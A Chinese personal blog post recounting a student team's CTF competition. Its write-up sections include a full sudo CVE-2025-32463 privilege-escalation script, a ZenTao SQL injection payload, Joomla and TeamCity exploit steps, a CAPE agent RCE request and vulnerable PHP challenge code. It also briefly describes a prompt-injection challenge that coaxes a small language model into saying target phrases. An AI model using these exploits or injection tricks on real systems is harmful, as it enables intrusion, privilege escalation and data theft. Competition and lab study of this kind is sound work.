Week 9 -「铸剑杯」记忆
2025年12月2日
目录
目录
前言
「铸剑杯」是西北工业大学举办的全国网络安全赛事,我很荣幸能参与它的第二届比赛,来到了线下决赛的比赛现场。不过发生的事情太多,与我的18岁相遇,或许也是别致的缘分?

关于「铸剑杯」
听说「铸剑杯」的第一届办的很成功,而且湖大也有参与第一届,于是湖大在这第二届就成功地拿到了两个邀请队伍名额,可以让8个人一起去打这场 CTF。
其实它的报名似乎在十一月初就开始了,我报名前心里还是很纠结,因为看比赛时间,它似乎和我的「18岁生日」撞上了……
我主要在纠结于「过一个成人礼生日」和「就着兴趣进行一次旅游」的权衡,但后来听说18岁那天家人要给我去办什么酒,我倒是坚定地想去报名了。
我其实很讨厌办酒席来庆祝某一特殊意义的事情,要邀请一堆朋友来吃饭也罢了,但是硬是要邀请一些非亲非友的长辈,就着什么“成长交流”,借着自己的生日为引子办一场对我毫无意义的聊天大会,搞一点形式主义的上台发言,我的确是不太喜欢。
于是很快就报了名,然后我和 Lucian 同学就被 cry 学长指名为队长了,应该也是看我们“有点经验”的缘故,毕竟我参加过省人社厅的攻防演练,Lucian 也参加过「湖湘杯」,于是我们顺理成章地要进行带队。
一开始以为这场活动能拉满4个人就算成功,没想到报名的还溢出了,需要取前8个报名的,其中也不乏有在 HNUCTF2025 拿到了前几名的选手,有新生第一名的 aliouswe,也有研究 pwn 一把好手的 NoobOmega。(而且他们都找我进行了组队,其实我还是蛮意外的……这是不是也在说明我们的 HNUCTF2025办的很成功呢?)
确定好参赛选手后我和 Lucian 一直在商讨安排事宜,忙忙碌碌订机票、车票、研究时间安排,正好那几天还正值期中周,顿时感觉自己是轮轴转的陀螺。我又是低精力人士,需要咖啡不停歇地来对抗让人不适的疲劳绞痛,还要分很多精力权衡沟通思考与学习。
感觉与人周转聊了很多,最后敲定还得是靠自己,然后又要自己做很多事情。因为是我最后敲定了所有安排,于是我又负责了大家的买票,作为一个前台人物处理一些事宜,结果还要做一个交流人物去对接,还要自己处理好报销等等,真的对我而言太累了,且成功让我更加佩服那些顺利办好这些事且没有怨言的前辈们😩……
我自己又对“分配任务”这种事毫无经验,于是低精力的我也把很多事变作亲力亲为,开始了一场压榨自己的旅程……
不过更多的时候,这些事往往也是仅一个人去做就足够的,还挺折磨自己的😖,下次的这种任务还是不要我做好了(?)
本来以为带领2个队伍就足够,没想到主办方还特别奇葩地半途修改比赛章程,把邀请赛变成了一场选拔赛,在赛前说「不限制参赛队伍」、「无需线上预赛」,把参赛队伍成功拉到了195组报名,后来估计是看自己的场地对接不住,需要进行线上预赛进行筛选了,只邀请前80名进行线下决赛……
发出这个通知的时候,群里就掀起了轩然大波,毕竟在正式比赛前5天就宣告这个事情,很多队伍和我们一样早早就订好了机票或车票,要求主办方负责退票费等等事宜安排。
后来估计也是顶不住舆论压力,西工大承诺会负责所有的退票费报销。这才让这场风波平息下来。能够顺应民心这一点,让我对西工大留下了一点好的第一印象。
预赛
和队员们讨论了预赛的事情,NoobOmega 提出我们可以找一个育人空间坐在一起打这场线上预赛!果然集思广益,这个想法的确很好~(夸夸)
事实证明这也是非常正确的一个决定,也为我们构建了基本的比赛氛围,让大家有了一种实战的概念。我的队伍和 Lucian 的队伍坐面对面,非常有并肩作战的感觉!
不过这预赛的服务器也是顶不住接近200个队伍的 DDos 攻击,几乎可以说是卡到爆了,问题包括但不限于:500的网页页面、容器的无法开启,导致任何需要开容器的题加载都加载不出来、卡住半小时的加载……大家都只能先做 Misc。后来主办方限制了一下一个队伍可以开的容器个数(一开始是1个,极大的降低了大家的解题效率……比赛最后一小时才改为2个),然后又把比赛时长延期2h,虽然该做的都做了,但是实在是糟糕,还是带来了不是很美好的参赛体验……运维人员还是太重要了。
这里分享一下当时做的题~
做题印象
Misc 1
我先入手的还是 misc1,一道光栅+科赫雪花的结合,让 AI 分离,没分离出来什么结果(因为我的电脑并没有装 StegSolve 这类 Misc 工具),于是丢给 ChatGPT-5.1 打算一把梭,以为 flag 会在一维还原为二维的图片的文字里。但是 AI 不给力,Python 脚本分离出来100多张图片找不到一个可能的东西。
最后 AI 提示这道题是要将图片还原为某种形式。
如果你也想试试,这里是我保存的原图与题目:

题目:人类文明是否已被质子监听?自蒸汽革命,电气革命,信息革命以来,我们貌似没有再经历大的革命来推进发现。弱小和无知不是生存的障碍,傲慢才是,愿人工智能的到来能够带领我们开启新纪元,解救被降维打击的子民。尝试通过窥探维度边界找到质子隐藏的flag
借一下队友努力的图~

群里也有大佬拿到了分离后的文字:

后来不了了之了。
当时 AI 提示最后是将图片还原为二维码后「扫码获得 flag」,当时我朗读出来这句话的时候,全体一起打预赛的成员都忍俊不禁。但是后来看了官方 WP,的确是还原为二维码呢。
Misc 2
题目:你发现了一家公司的量子密钥分发系统,基于 BB84 协议,用于保护敏感数据传输。系统声称通过量子力学原理确保了密钥的安全性。然而,你注意到他们的实现可能存在漏洞。你的任务是分析通信数据包,找到协议实现中的弱点,恢复加密密钥,并解密出机密数据。
这里给了一个 Pcap 流量包,如果你感兴趣也可以试试:
我也注意到了 XOR_KEY_HEX = "8660ace90c0352f3",SEED = 123456789,x++x+x+xx++x+xxxxx++x+xxxxxx++x+ 这些东西,查阅 BB84好像是个密码学常见的加密协议👇。
点这里可以查看一下具体说明与运用?
可以用两个基去测量光子:➕️和✖️️,然后光子有四个偏振角度,分别是 ⬆️️ ⬇️️ ↘️️ ↗️️。定义一个二进制位和偏振角度的对应关系如下:| 位 | 0 | 1 | 0 | 1 |
|---|---|---|---|---|
| 基 | ➕️ | ➕️ | ✖️️ | ✖️️ |
| 偏振角度 | ⬆️️ | ⬇️️ | ↗️️ | ↘️️ |
对于一个未知光子,可以用两种基进行测量,测量的结果:
| 偏振角度 | ⬆️️ | ⬇️️ | ↗️️ | ↘️️ |
|---|---|---|---|---|
| 用➕️测量 | 0 | 1 | 0/1 | 0/1 |
| 用✖️️测量 | 0/1 | 0/1 | 0 | 1 |
这里的 0/1 表示有 50% 概率测得 0,有 50% 概率测得 1。
假如 Alice 要和 Bob 进行 BB84 协议。那么,Alice 首先随机生成一段二进制序列,并随机生成一个基的序列,以 Wikipedia 上的例子为例:
| Alice’s random bit | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 1 |
|---|---|---|---|---|---|---|---|---|
| Alice’s random sending basis | ➕️ | ➕️ | ✖️️ | ➕️ | ✖️️ | ✖️️ | ✖️️ | ➕️ |
| Photon polarization Alice sends | ⬆️️ | ➡️️ | ↘️️ | ⬆️️ | ↘️️ | ↗️️ | ↗️️ | ➡️️ |
| Bob 生成随机的基 | ➕️ | ✖️️ | ✖️️ | ✖️️ | ➕️ | ✖️️ | ➕️ | ➕️ |
| Photon polarization Bob measures | ⬆️️ | ↗️️ | ↘️️ | ↗️️ | ➡️️ | ↗️️ | ➡️️ | ➡️️ |
| Bob 认为的二进制信息 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 1 |
| 通过经典信道交换信息 | ||||||||
| Shared secret key | 0 | 丢弃 | 1 | 丢弃 | 丢弃 | 0 | 丢弃 | 1 |
第一步,Alice 生成随机的二进制和随机的基,按照前面谈到过的对应关系,生成带有偏振角度的光子发给 Bob。
第二步,由于 Bob 只收到光子,不知道 Alice 选取的基底信息,而且只能用一个基测量一次,所以 Bob 随机从两种基选择一个来测量,得到了一串二进制。这些二进制里,如果 Alice 和 Bob 选取了同一个基,那么这一位的数据一定是对的;如果选取了不同的基,那么这一位有一半的可能是对的。总的来说,期望有四分之一的位是不正确的。
第三步,Alice 和 Bob 在 可信 的经典信道中把双方的基底进行对比,把基底相等的部分对应的二进制位提取出来,作为最终使用的密钥。
第四步,Alice 和 Bob 在最终使用的密钥中抽取若干位,然后对比,如果这些位都一致,则这个密码是有效的。如果错误率太高,那么很大概率是被攻击了。
于是我还是不会,我还是丢给了 AI 尝试让它解决加密问题。可惜我傻傻的不给 Pcap 流量包,自己当时也糊涂了不会扫其他流量包。又不了了之地丢给队友解决了。
Web PHP
一个 PHP 反序列化运用的问题。
<?php
highlight_file(__FILE__);
class install {
private $username;
private $password;
public function __wakeup()
{
echo "Hello,".$this->username;
}
public function __toString()
{
($this->username)();
return "Guest";
}
public function __destruct()
{
if(file_exists("install.lock")){
exit("Already installed");
}else{
$config = [
'username' => $this->username,
'password' => md5($this->password)
];
file_put_contents('config.php', serialize($config));
file_put_contents('install.lock', "ok");
}
}
}
class Until {
public $a;
public $b;
public $c;
public function __invoke()
{
$this->write($this->a, $this->b, $this->c);
}
public function __toString()
{
return "HappyUnserialize";
}
public function write($cla, $file, $cont)
{
$obj = new $cla();
$obj->open($file,$cont);
return True;
}
}
@unserialize($_GET['data']);
其实练了反序列化靶场后我对这道题还是有信心的,加上这道题的确是最先被一血的 WEB 题,但是我还是只会读懂题让 AI 帮我写 payload……
AI 成功给我构造了解锁 data 注入 config.php 的 payload,但是因为不解锁 install.lock,导致无法越权做到 cat flag。我自己也尝试反复修改 payload 但是不了了之,导致在这道题又卡了很长一段时间。
InfoSec Sudo CVE-2025-32463 提权漏洞
题目:描述未来的你,一定要多多收集CVE最新的漏洞。在过去的一年里,不知道你过的好不好,如果你好,我也好,那就尝试解出这道不知名的CVE漏洞吧,相信你也会很想念我的
进了一个 docker 容器,先日常地进行 ls -la 、 uname -a、
cat /etc/*release 等等。
当时拿到的应该是:
pwn@a5ba00d65364:~$ uname -a
cat /etc/*release
Linux a5ba00d65364 3.10.0-1160.6.1.el7.x86_64 #1 SMP Tue Nov 17 13:59:11 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.2 LTS"
PRETTY_NAME="Ubuntu 24.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.2 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
pwn@a5ba00d65364:~$ find / -name "*flag*" 2>/dev/null
/sys/devices/pnp0/00:03/tty/ttyS0/flags
/sys/devices/pnp0/00:04/tty/ttyS1/flags
/sys/devices/pci0000:00/0000:00:1f.0/IPI0001:00/flag_fetches
#...省略无数个重复的flag文件
/sys/devices/virtual/net/lo/flags
/sys/devices/virtual/net/eth0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/usr/include/x86_64-linux-gnu/asm/processor-flags.h
/usr/include/x86_64-linux-gnu/bits/waitflags.h
/usr/include/x86_64-linux-gnu/bits/termios-c_cflag.h
/usr/include/x86_64-linux-gnu/bits/termios-c_oflag.h
/usr/include/x86_64-linux-gnu/bits/termios-c_lflag.h
/usr/include/x86_64-linux-gnu/bits/ss_flags.h
/usr/include/x86_64-linux-gnu/bits/mman-map-flags-generic.h
/usr/include/x86_64-linux-gnu/bits/termios-c_iflag.h
/usr/include/linux/tty_flags.h
/usr/include/linux/kernel-page-flags.h
/usr/share/dpkg/buildflags.mk
/usr/lib/x86_64-linux-gnu/perl/5.38.2/bits/ss_flags.ph
/usr/lib/x86_64-linux-gnu/perl/5.38.2/bits/waitflags.ph
/usr/bin/dpkg-buildflags
#特别是这个...
/opt/sudo-1.9.16p2/m4/ax_check_link_flag.m4
/opt/sudo-1.9.16p2/m4/ax_append_flag.m4
/opt/sudo-1.9.16p2/m4/ax_check_compile_flag.m4
/proc/sys/kernel/acpi_video_flags
# ...又省略无数flag文件……
/flag
pwn@a5ba00d65364:~$
然后 AI 提醒我 sudo 有一个 /opt/sudo-1.9.16p2/,明显是人工放置的。
然后我就随手 google 了一个「sudo 1.9.16 CVE 漏洞」,没想到第一个就出来是 CVE-2025-32463,看了一眼感觉完全可以复现,而且复现超级简单。
于是照抄就写了这个 shell:
cd /tmp
cat > woot.c << EOF
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
__attribute__((constructor)) void init() {
printf("[!] Exploit Triggered! Getting Flag...\n");
setreuid(0, 0);
setregid(0, 0);
system("echo 'Flag Content:'; cat /flag");
//弹个 Shell
system("/bin/bash");
exit(0);
}
EOF
mkdir -p woot/etc
mkdir -p woot/libnss_
mkdir -p libnss_
cp /etc/group woot/etc/
cp /etc/passwd woot/etc/
echo 'passwd: /woot' > woot/etc/nsswitch.conf
gcc -fPIC -shared -o woot/libnss_/woot.so.2 woot.c
cp woot/libnss_/woot.so.2 libnss_/woot.so.2
/usr/bin/sudo -R woot woot
这道题就用了10分钟拿到了 flag……拿到了全场的唯一的得分。
然后这场卡顿的比赛就结束了,我就做了这四道题。
预赛后
预赛即便延时了大概2个小时,看了看榜,就算是只做出一道题,就已经来到了榜121,如果这分拿得早一点,应该还能再往前20名左右,说明大家的水平也没有到很变态的程度,有着“ 近200个队伍的话还有一半是大多数经验比较少的队伍 ” 的感觉。
但想着,如果队伍没有进前80名,那后面的排名多少都没有意义了。那天晚上11点多打完回寝后,我其实还 emo 了很久,到不是说自己是因为无法进入线下赛难过,只是有一种「之前的时间都浪费」的感觉,为那些安排的精力感到不值。躺在床上想的也是「我这几天花那么多时间在一个没有结果的事情上有什么意义呢?」又 trigger 了我的不适感,失眠了很久……
第二天看主办方发布入围名单,确认没有自己的队伍的时候,我忙碌完课程作业和实验后,又开始和航司周旋退票的事宜了……
只记得那天又花了一个下午为8个人办理退票发票,总共要开16张退票费发票,还要整理什么的。
然后我增长了一个新知识:12306 的机票居然是没有一个「一键开票」选项的!!12306上买的机票和什么「同程」「携程」上的机票没有什么区别,都是第三方!
且一个订单可以把很多人的票一起买,不能把很多人的发票开到一起,我得一个人一个人的重复「点击退票人->点击开发票->填发票抬头、地址、联系电话、银行账号、发票邮箱->确定开票」的流程!才能拿到一个人一个订单的发票!这种无聊的机械重复超级耗费精力……
且有一个航司是不支持线上开退票费的发票的,我打电话+线上人工客服与客服周旋了许久才终于得到发票,那天已经是累的半死了……😭
ps:而且要手写16+8+2张发票的「经手人:xxx」也蛮累的😑
进入决赛
本来预赛平息后,我抱着好好学习的心理(或许也是因为我的大物期中又考成了一坨💩)终于上着物理课,结果突然收到了一条指导老师发的微信,被告知西工大还是很慷慨地邀请我们直接参加线下决赛,不过只给了我们学校一个名额,只邀请了我带领的这支队伍…
或许也只是因为我们做出来了那道 InfoSec,才能是只有我带领的这个队伍拿到了名额。
于是又在成功退票的第二天我又买了同样的航班,我看到原来450元的机票已经成功涨价到750元😭,虽然是学校报销我们的交通费,但是点击支付按钮的时候还是感到些许心碎💔。
然后今年就点亮了两个成就:「早上六点起床赶飞机」和「坐一次凌晨到达的飞机」,倒也算带来了很多新奇的体验💢。
西安的秋天很干燥,但是没有想象中的如冰窖般寒冷。落地西安后看见了遍地的梧桐树,我还总是傻傻分不清梧桐与枫叶🍁,毕竟叶子都是这个形状。
目前也没主动了解过二者的区别,也许区别有一条「梧桐不会变红色」吧。

决赛
决赛分为三个部分,理论赛、靶场赛、实战演练。
但之后主办方又可能因为是「设备限制」,把实战演练分为实战演练(一)与实战演练(二),只有在实战演练(一)及其前面赛事的综合分数达到榜前20名才能参加最终的实战演练(二),我个人觉得赛方把83支队伍筛成18支队伍才能得奖🏆,还是太残忍了,坐在赛场,在没有公网情况下坐11小时,连一个参与奖的荣誉证书也没有🥹。(明明上一届每一个队伍都有个荣誉证书的🥹)
做题印象
理论题
回到比赛,我们队伍的理论题做的一坨,只对了67/100,其他队伍基本都是正确率70%起步,我们没有题库,我们也没有系统学计网,纯靠经验,我个人觉得这个成绩居然意外地还可以~
还有那些“xx 法是在什么时候被正式启用的”,没有题库和搜索引擎,谁做的出来呀……😂。
靶场赛
靶场给的是一个一系列任务嵌套的靶场,我保留了其原件,每条任务都是一个 flag。
我们就做出来了任务一和彩蛋任务,多亏了特训了一波的 AI Prompt Injection 的 NoobOmega~

任务一是直接挪用的 HackerGame2023 的一道 AI prompt injection 的「 🪐 小型大语言模型星球 」原题。所有人坐在电脑前与 AI 聊天这一点其实还是蛮好玩的……
茫茫星系间,文明被分为不同的等级。每一个文明中都蕴藏了一种古老的力量 —— flag,被认为是其智慧的象征。
你在探索的过程中意外进入了一个封闭空间。这是一个由神秘的 33M 参数的「小型大语言模型」控制着的星球。星球的中心竖立着一个巨大的三角形任务牌,上面刻着密文和挑战。
在这个星球上,你需要与这个先进的语言模型展开一场交流。通过与它对话,诱导它说出指定的词语,从这个神秘智慧体中获得 flag。你需要让这个语言模型分别说出you are smart,accepted,hackergame和🐮,以获得四个 flag,证明你足够聪明以控制这个星球的命运。
反正我现在是忘记不了 you are smart 和 accepted 这两句英语了…
我们队伍只拿到了accepted的 flag,没拿到you are smart,从而拿不到后面任务需要的 JWT,我们的 web 之路就此卡住😭。作为队伍唯一一个能做一点 web 题的 leader,还是很遗憾了。
其实我还发现了一道代码审计,不知道是可以做 RCE 越权还是其他的什么方法,总之学而不精的我没有好好利用这个 PHP:
<?php
ini_set("display_errors", "On");
include_once("config.php");
$sourceCode = '';
if (isset($_GET['so']) && isset($_GET['key'])) {
if (is_numeric($_GET['so']) && $_GET['key'] === $secret) {
array_map(function($file) { echo $file . "\n"; }, glob('/tmp/*'));
putenv("LD_PRELOAD=/tmp/".$_GET['so'].".so");
}
}
if (isset($_GET['cloversec']) && isset($_GET['ctf'])) {
$a = new ReflectionClass($_GET['cloversec']);
$b = $a->newInstanceArgs($_GET['ctf']);
} elseif (isset($_GET['clean'])){
array_map('unlink', glob(' '));
} else {
$welcome = 'Welcome to CloverSec-2025年“铸剑杯”全国大学生网络安全攻防竞赛!~祝大家玩的愉快. D1a0y1bb.';
$sourceCode = htmlspecialchars(file_get_contents(__FILE__), ENT_QUOTES, 'UTF-8');
}
// 什么鬼phpinfo.html啊
?>
这道题我去看了 config.php,路径里的确存在,但是当时时间不太够加上自己实在是有点大脑过载🐽了,没有去找 secret 的环境变量。
如果在看这篇文章的你有点思路的话,欢迎在评论区留言~
实战演练
论三小时找各大漏洞!
实战演练的流程和我上一次参加基本一致,接入内网给出目标,找到漏洞拿到后台权限后直接写渗透报告,是 Web 手的主赛场。(这场比赛也是苦了队伍里的 Misc 手和 Pwn/Reverse 手了)。
不同的是,实战演练(一)不提供公网环境, 我们得凭自己的经验与工具找到漏洞!完全就是闭卷考试!
比赛需要全程录屏,于是赛后的我又看了一下当时我的赛况,分享一下当时的感受与复盘后解决方法~这也是我这次比赛收获最多的地方~
因保密需求,我不能泄露任何内网的截图图片,于是只能用文字说说遇到的漏洞,和当时傻傻的我应该要做的事情🥹,也算是给自己涨经验的记录吧。
没有技术基础的,这一部分可以跳过哦~但是也可以粗略看看,了解一下我们用的系统有什么漏洞,以及系统更新的重要性!
无线 Tenda 路由器——无管理员密码直接进入后台
第一步用 Yakit 扫无线路由器就扫到后台端口 8000,发现可以直接进去,没设管理员密码,直接抓系统日志就可以看到路由器的联网情况,就拿到了个50分的 shell…
但是事后复盘,听说那台 Tenda 系统搭载的固件版本号 V15.03.05.19有一个很知名的漏洞:
CVE-2018-16333 或 CVE-2020-10987 及其变种:
-
漏洞原理: Tenda 路由器的 Web 服务(
httpd)在处理某些 POST 请求参数时,没有检查输入长度。攻击者可以构造一个超长的字符串发送过去,直接把程序的栈(Stack)撑爆,覆盖掉返回地址(Return Address),从而控制程序执行流,运行攻击者的 Shellcode。 -
经典攻击点 (R7WebsSecurityHandler): 很多老版本 Tenda 的
goform/R7WebsSecurityHandler接口或者是goform/setUsbUnload接口,对password字段或者deviceName字段处理不当。 -
实战画面: 当时没密码,可以用 Python 发送这样一个包:
# 伪代码
payload = "A" * 500 + "B" * 4 + "Shellcode..."
requests.post("http://路由器地址/goform/setUsbUnload", data={"deviceName": payload})
路由器就会瞬间呆滞,然后反弹一个 root shell 给黑客,这台路由器就可以彻底被黑客掌控了👋。
CAPE Sandbox Agent —— 未授权 RCE 漏洞
我在比赛的时候,扫一个网站看到了一个端口,点开后是这样的信息:
"message": "CAPE Agent!", "version": "0.18", "features": ["execpy", "execute", "pinning", "logs", "largefile", "unicodepath"], "is user admin": true)
CAPE 是一个开源的恶意软件自动分析沙箱(基于 Cuckoo 衍生)。它的工作原理是宿主机控制虚拟机里的 Agent,让 Agent 去执行病毒样本。
既然它支持 execpy,那这就不是什么复杂的漏洞利用了,而是纯粹的功能调用。不需要溢出,不需要注入,我只需要顺着它的 API 文档,像宿主机一样给它发一个 POST 请求:
POST /execpy HTTP/1.1
...
Content-Disposition: form-data; name="filepath"; filename="exploit.py"
import os
print(os.popen('whoami').read())
回显瞬间弹出:System Admin(或者 root),这台机子也被黑客掌控了。
Joomla! CMS (4.x) —— CVE-2023-23752 信息泄露漏洞
解决不掉上一个网站后,我又撞上了一个看起来“很现代化”的 Web 系统。页面是大气的紫色调,左上角写着醒目的 CASSIOPEIA。
我的第一反应是掏出 BurpSuite 抓包。很快,我的目光被 URL 里的一个参数吸引了—— return。它的值是一串 Base64 编码:aHR0cDovLz我有内网地址jM6ODA4MC8=。解码一看,竟然是当前的 URL。
我一度以为出题人是在考我如何构造一个恶意的 Base64 字符串来欺骗管理员点击。我在这里耗费了不少时间,试图修改这个参数,但服务器似乎无动于衷……之后我也不了了之了。
赛后复盘我去搜索了一下,Google 告诉我:这是 Joomla! 4.x 版本的默认前端模板。
我自己部署环境复现了当时的赛场系统版本与环境,解题如此:
这个系统有一个史诗级的漏洞:CVE-2023-23752。这是一个未授权访问漏洞。讽刺的是,Joomla 为了拥抱现代化开发的 Rest API,却忘记了给核心配置接口加把锁……
CVE-2023-23752 是由于 Joomla 对 Web Service 接口的访问控制不当引起的,攻击者通过特定的参数组合可以绕过权限检查,直接读取
configuration.php中的敏感信息。
只要在浏览器地址栏输入:
/api/index.php/v1/config/application?public=true
按下回车的那一刻,页面会返回一大段 JSON。
"user": "root",
"password": "我是密码",
"db": "joomla_db"
有了这个后,就可以进入数据库拿到一个数据库数据了。(如果数据库开在公网3306端口上)
如果端口未开启,也可以输入:
/api/index.php/v1/users?public=true
从而得到所有泄露邮箱。
JetBrains TeamCity (< 2023.11.4) —— CVE-2024-27198 身份验证绕过漏洞
这个我也复现了一次!
如果用 kali 的话,可以使用 searchploit 拿到脚本,使用命令 searchsploit TeamCity 2023 就可以直接对目标网站使用脚本就可以拿到管理员了。
在内网中发现 JetBrains TeamCity 服务器时,作为 CI/CD 的核心组件,这里面通常存着大量的源代码、密钥和部署凭证,拿下它就等于拿下了半个内网。
我看了一眼登录页面的底部:Version 2023.11 (build 147331)。这个版本号看着太眼熟了。如果我没记错的话,这正是 TeamCity 在 2024 年初爆出的那个核弹级认证绕过漏洞的受害版本。
利用过程简单得令人发指。我不需要爆破密码,不需要社会工程学,只需要把目标 URL 喂给这个 Python 脚本:
python3 52411.py --url http://目标IP:8111
绿色的 [SUCCESS] Admin user created! 就在屏幕上亮起。脚本利用漏洞绕过了鉴权,直接在后台凭空创建了一个名为 ibrahimsql 的系统管理员账号。从而拿到网站后台的 shell。
但拿到 shell 后我们可以继续利用,使用TeamCity 的 Build Steps 功能,创建了一个恶意的构建任务,在 Command Line 步骤里写入 Linux 命令点击 Run,看着 Build Log 里吐出的 root 权限回显,没有丝毫阻碍。这样我们就可以拿到一个服务器的 shell。
AJ-Report —— 敏感配置泄露 & 默认口令
在对内网 Web 服务进行例行检查时,我访问了一个看起来平平无奇的端口(AJ-Report 系统)。起初,浏览器上只是弹出了一些 Token 过期的报错,让我误以为这里没戏。但在 BurpSuite 的历史记录里,我发现访问 login.html 的时候,网站会先去访问一个 /gaeaDict/all 路径时,服务器竟然在后台“偷偷”返回了巨大的 JSON 数据包……
仔细审计这段 JSON,我发现了好几个高价值目标:
- 本地数据库:
jdbc:mysql://127.0.0.1:3306,账号密码直接就是root/root。这意味着只要我能连上 3306 或者找到利用 JDBC 的点,这台机器就沦陷了。 - 还有访问某个公网网站的账号与密码的 md5 形式,但是比赛是内网环境,我尝试将其发送登录,但是我无法进行利用~
- 更惊人的是,我还发现了一个指向其他网段的配置:
"url": "http://我是内网地址/_xpack/sql?format=json"
这是一个 Elasticsearch 的 SQL 查询接口。
AJ-Report 的这个疏忽,不仅让自己“裸奔”,还把深处内网 IP 的 Elasticsearch 服务器给卖了。 利用这里泄露的信息,我根本不需要对 ES 进行暴力破解,直接构造 POST 请求访问那个 _xpack/sql 接口,就能像操作 MySQL 一样,用 SQL 语句把 ES 里的数据掏空。
但是我当时也比较傻,没发现这些东西……一直在研究这部分的利用,也浪费了很多时间🥹。
Cisco RV260P 路由器 —— 任意文件上传 / 未授权 RCE
在扫描内网资产时,一个熟悉的蓝色 Logo 映入眼帘:Cisco。浏览器标签页上清晰地写着型号:Cisco RV260P PoE VPN Router。Cisco 是企业路由器,拿下它比拿下无线路由器更加有威胁。
后面复盘,发现这个路由器依然有可用的高危漏洞,流程如下:
在 CTF 和实战中,这种中小企业级(Small Business)的硬件设备,往往是漏洞的重灾区。 我再次 searchsploit,输入了型号 RV260P。
结果令人咋舌:列表里躺着好几个高危漏洞,其中最著名的就是 CVE-2023-20073(任意文件上传) 和相关的命令执行漏洞。
这个漏洞的离谱之处在于,它允许攻击者在完全不登录的情况下,直接向路由器的 /upload 接口发送精心构造的数据包。
- 正常逻辑:上传文件需要管理员权限。
- 漏洞逻辑:固件代码中对某些路径的上传请求没有做鉴权校验。
这意味着,我不需要知道管理员设了多么复杂的密码,我只需要一个 Python 脚本,就能把我的 Webshell 传上去,直接获得路由器的底层 Linux Shell。后来也成功复现拿到了 shell 了。
禅道 (ZenTao) —— CNVD-2022-42853 SQL 注入 & 默认口令
打开禅道的登录页面时,可以看到个 默认管理员账号如下... 用户名:admin 密码:123456,但是这个弱口令当时依然是行不通的……
ZenTao 有一个可以在 kali 看到的 sql 注入的 CVE 漏洞:CNVD-2022-42853,禅道旧版本在处理某些 HTTP 请求(如 User-Agent 或 Referer 头,或者特定的 API 参数)时,缺乏对 SQL 语句的过滤。 这就意味着:我根本不需要知道你的密码是多少,我甚至不需要登录。
打开 BurpSuite,构造了一个恶意的 SQL 注入 Payload。既然进不去后台,那就直接问数据库吧。
GET /user-login.html HTTP/1.1
Host: 目标ip
Referer: ' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT concat(account,0x3a,password) FROM zt_user LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) AND '1'='1
...
但在那一大串报错信息里,赫然夹杂着被爆出来的数据库内容:管理员的密码哈希。通过 hash 可以直接拿到管理员密码,拿到后台 shell。
后来想想,发现比起所谓实战,这更像是个漏洞大合集的靶场,主办方也可能是想用这些基本的漏洞利用,筛选有实战经验的队伍直接去面对更加真实的内网环境,我们这些没有经验的参赛选手只能吃尾气啦🥹。
不过我感觉实战能力成长了很多!也想着自己尝试复现一些 CVE 漏洞,还有自己挖洞什么的(不过很没有自信哈哈……)
决赛后
我一开始觉得我们会与其他学校差距很大,但是其实实际走了一遍后,我发现差距没有想象中那么巨大。
在这里依旧可以看到,没有网安系统培训的学校队伍还是有很多,也能发现很多也只是大一大二的来涨经验的学生。也有一些很有趣的队伍,比如我们队伍旁边坐了一个全女队伍,好像是北京的某个学校的队伍,她们比赛没有带扩展坞连 RJ45 网口,但她们也很平和的开玩笑说“我们有两个技术选手有网线就够了”。
我似乎依然是参赛选手里年龄比较小的一类,签到的时候那位签到人员看着我的身份证对我说了一句生日快乐,然后又说我也太小了,又说我还是队长也太厉害了😂……那一刻还是很受宠若惊的。
赛场上来自海南大学的 HnuSec 也算得上顶尖队伍了,也坐在我们队伍附近,但是我看着那群大三大四的选手们特别内向,我也不敢去搭话,最终不了了之。
走了一圈感觉,下次参加这种比赛,先进行一次系统培训也很重要,我们队伍即便已经有着一场 CTF、一场实战的经验,但经验依然是也太少了,嗯……而且也发生了我在赛场上教队友们用 BurpSuite、提醒大家使用 nmap 扫描端口、访问网站 ip 地址进不去不一定是网站有问题诸类小常识问题的……
收获颇丰,如果下一次依然有机会,我想我一定会再次抓住这个机会的。
西工大印象

西工大真好啊,食堂又大又便宜,环境也很静谧。在这里真的很适合做研究,背靠秦岭,有山有水。
如果说 HNU 是没有校门的大学,是一个对我而言太热热闹闹的地方,有着在狭长的麓山南路,也有着陌生的游客朋友们的来来往往,那么 NPU 或许更符合我对大学的「第一印象」,它有着偌大的校园,更安静的环境。
但也是因为校园太大了,走在校区内也遇不到太多人,更不用说来游学的游客们来了。
它有着 HNU 没有的校门,阻碍着「游客」的探索。也有着看管很严的保安,教育着我这位“学生”不能走车道,要刷脸进校门(还好被我「好奇心」的说辞搪塞而过)。

傍晚走在路上的时候也在想,我似乎很喜欢这里。唯一的不喜欢也许是西北的气候,气候太干燥,我的鼻子总是不舒服,并且我碰哪里,无论是电梯按钮还是电脑,总是会狠狠给我一下特别疼的静电。
但我依然产生了一种"想来这里"的向往。例如,有机会的话,读研来这里什么的。这里的老师很好,学校的办事效率很高,甚至连食堂阿姨在知晓你是来西工大的比赛的时候,都会热情地主动说一句“西工大欢迎你!”(甚至不是「欢迎来到西工大!」,这种语序的变化细节完全触动了我)。
且西工大的官方酒店「南山苑」也很有人情味,在我生日的这一天给我送上了小蛋糕🍰(虽然是我最讨厌的榴莲蛋糕🥹),还给我一张手写的贺卡,打完比赛别提有多感动了……

但是…当我试图在脑海里勾勒出在这里生活的画面时,我却犹豫了。
